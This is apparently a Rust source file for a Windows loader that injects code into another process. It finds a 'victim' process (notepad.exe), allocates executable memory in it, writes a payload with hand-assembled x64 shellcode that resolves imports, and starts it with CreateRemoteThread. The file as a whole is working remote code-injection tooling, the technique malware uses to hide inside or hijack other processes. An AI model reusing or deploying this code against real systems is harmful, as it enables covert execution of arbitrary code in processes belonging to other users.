use std::ffi::{c_void, CStr};
use std::mem::MaybeUninit;
use std::ptr;
use std::{fs::File, io::Read};

use serde::Deserialize;
use serde_with::base64::{Base64, Standard};
use serde_with::formats::Padded;
use serde_with::serde_as;

use windows_sys::Win32::Foundation::{GetLastError, PROC};
use windows_sys::Win32::System::Diagnostics::Debug;
use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
use windows_sys::Win32::System::Memory;
use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
use windows_sys::Win32::System::{LibraryLoader, Threading};

const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;

#[serde_as]
#[derive(Debug, Deserialize)]
struct Import {
    #[serde(with = "serde_bytes")]
    dll: Vec<u8>,
    #[serde(with = "serde_bytes")]
    symbol: Vec<u8>,
    address: usize,
}

#[serde_as]
#[derive(Debug, Deserialize)]
struct Binary {
    #[serde(rename = "startingState")]
    #[serde_as(as = "Base64<Standard, Padded>")]
    starting_state: Vec<u8>,
    imports: Vec<Import>,
    #[serde(rename = "entryPoint")]
    entry_point: usize,
}
fn main() {
    unsafe { _main_remote() }
}

struct LocalWriter {
    binary: *mut u8,
    base: *mut u8,
    ptr: *mut u8,
}
struct Measurer {
    count: usize,
}

impl Measurer {}

trait CodeGen {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;

    unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
        let bytes = unsafe { std::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
        self.write(&bytes)
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
}

impl Measurer {
    fn round_up(&mut self) {
        self.count = (self.count + 15) / 16 * 16;
    }
}

impl CodeGen for LocalWriter {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        let addr = self.ptr;
        for u in u8s {
            *self.ptr = *u;
            self.ptr = self.ptr.byte_add(1);
        }
        self.binary.offset(addr.offset_from(self.base)) as *const c_void
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
        self.binary.byte_add(offset) as *const c_void
    }
}

impl CodeGen for Measurer {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        self.count += u8s.len();
        return ptr::null();
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
        return ptr::null();
    }
}

unsafe fn write_imports(
    strings: &mut impl CodeGen,
    code: &mut impl CodeGen,
    original_entry_point: usize,
    imports: &[Import],
) {
    // push rbp
    code.write(&[0x55]);
    // mov rbp, rsp
    code.write(&[0x48, 0x89, 0xe5]);
    // nop
    code.write(&[0x90]);
    // sub rsp, 0x20
    code.write(&[0x48, 0x83, 0xec, 0x20]);
    // windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
    for import in imports {
        let library_addr = strings.write(&import.dll);
        strings.write(&[0]);
        let symbol_addr = strings.write(&import.symbol);
        strings.write(&[0]);

        // mov rcx, library name
        code.write(&[0x48, 0xb9]);
        code.write_ptr(library_addr);
        // mov rax, LoadLibraryA
        code.write(&[0x48, 0xb8]);
        code.write_ptr(LOAD_LIBRARY_A);
        // call rax
        code.write(&[0xff, 0xd0]);

        // mov rcx, rax
        code.write(&[0x48, 0x89, 0xc1]);
        // mov rdx, symbol name
        code.write(&[0x48, 0xba]);
        code.write_ptr(symbol_addr);
        // mov rax, GetProcAddress
        code.write(&[0x48, 0xb8]);
        code.write_ptr(GET_PROC_ADDRESS);
        // call rax
        code.write(&[0xff, 0xd0]);
        // mov [import address], rax
        code.write(&[0x48, 0xa3]);
        let addr = code.address_in_binary(import.address);
        code.write_ptr(addr);
    }
    // mov rax, original entry point
    code.write(&[0x48, 0xb8]);
    let addr = code.address_in_binary(original_entry_point);
    // let addr = load_library_a;
    code.write_ptr(addr);
    // call rax
    code.write(&[0xff, 0xd0]);
    // leave, ret
    code.write(&[0xc9, 0xc3]);
}

unsafe fn _main_remote() {
    let mut input = File::open("binaries/main.json").unwrap();
    let mut buf: Vec<u8> = vec![];
    let _ = input.read_to_end(&mut buf).unwrap();

    let binary = serde_json::from_slice::<Binary>(&buf).unwrap();

    let mut string_measurer = Measurer { count: 0 };
    let mut code_measurer = Measurer { count: 0 };
    write_imports(
        &mut string_measurer,
        &mut code_measurer,
        binary.entry_point,
        &binary.imports,
    );
    // string_measurer.round_up();
    // code_measurer.round_up();

    // TODO: Alignment
    let Some(victim) = identify_victim() else {
        println!("couldn't find victim");
        return;
    };
    let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
    if remote == ptr::null_mut() {
        println!("got null");
        return;
    }
    let total_size = binary.starting_state.len() + string_measurer.count + code_measurer.count;
    let remote_address_space = Memory::VirtualAllocEx(
        remote,
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );
    let local_address_space = Memory::VirtualAlloc(
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );

    local_address_space.copy_from(
        binary.starting_state.as_ptr() as *const c_void,
        binary.starting_state.len(),
    );

    let strings = local_address_space.byte_add(binary.starting_state.len());
    let prelude = strings.byte_add(string_measurer.count);
    let mut strings_writer = LocalWriter {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: strings as *mut u8,
    };
    let mut prelude_writer = LocalWriter {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: prelude as *mut u8,
    };
    write_imports(
        &mut strings_writer,
        &mut prelude_writer,
        binary.entry_point,
        &binary.imports,
    );
    println!("error: {}", GetLastError());
    println!(
        "Copying memory to foreign process (at {:?} from {:?} get {:?})",
        remote_address_space, local_address_space, total_size
    );
    Debug::WriteProcessMemory(
        remote,
        remote_address_space,
        local_address_space,
        total_size,
        ptr::null_mut(),
    );
    println!("error: {}", GetLastError());
    println!("Creating remote thread");

    let entry_point =
        remote_address_space.byte_add(binary.starting_state.len() + string_measurer.count);
    println!("Entry point: {:?}", entry_point);
    Threading::CreateRemoteThread(
        remote,
        ptr::null(),
        0,
        Some(std::mem::transmute::<
            *mut c_void,
            unsafe extern "system" fn(*mut c_void) -> u32,
        >(entry_point)),
        ptr::null(),
        0,
        ptr::null_mut(),
    );
    println!("error: {}", GetLastError());
    println!("Done!");
}

unsafe fn identify_victim() -> Option<u32> {
    let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
    let mut entry: MaybeUninit<PROCESSENTRY32> = MaybeUninit::uninit();
    entry.assume_init_mut().dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
    let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
    println!("error: {}; process: {}", GetLastError(), process);
    while process != 0 {
        let entry_ref = entry.assume_init_ref();
        let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
        println!("peeking: {:?}", name);
        if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
            return Some(entry_ref.th32ProcessID);
        }
        process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
    }
    return None;
}
/*
unsafe fn _main_local() {
    let mut input = File::open("binaries/main.json").unwrap();
    let mut buf: Vec<u8> = vec![];
    let _ = input.read_to_end(&mut buf).unwrap();

    let binary = serde_json::from_slice::<Binary>(&buf).unwrap();

    let mut string_measurer = Measurer { count: 0 };
    let mut code_measurer = Measurer { count: 0 };
    write_imports(
        &mut string_measurer,
        &mut code_measurer,
        binary.entry_point,
        &binary.imports,
    );

    // TODO: Alignment
    let address_space = Memory::VirtualAlloc(
        ptr::null(),
        binary.starting_state.len() + string_measurer.count + code_measurer.count,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );

    address_space.copy_from(
        binary.starting_state.as_ptr() as *const c_void,
        binary.starting_state.len(),
    );

    let strings = address_space.byte_add(binary.starting_state.len());
    let prelude = strings.byte_add(string_measurer.count);
    let mut strings_writer = LocalWriter {
        binary: address_space as *mut u8,
        ptr: strings as *mut u8,
    };
    let mut prelude_writer = LocalWriter {
        binary: address_space as *mut u8,
        ptr: prelude as *mut u8,
    };
    write_imports(
        &mut strings_writer,
        &mut prelude_writer,
        binary.entry_point,
        &binary.imports,
    );

    let function: unsafe extern "C" fn() -> *const c_void = std::mem::transmute(prelude);

    let result = function();
}

*/
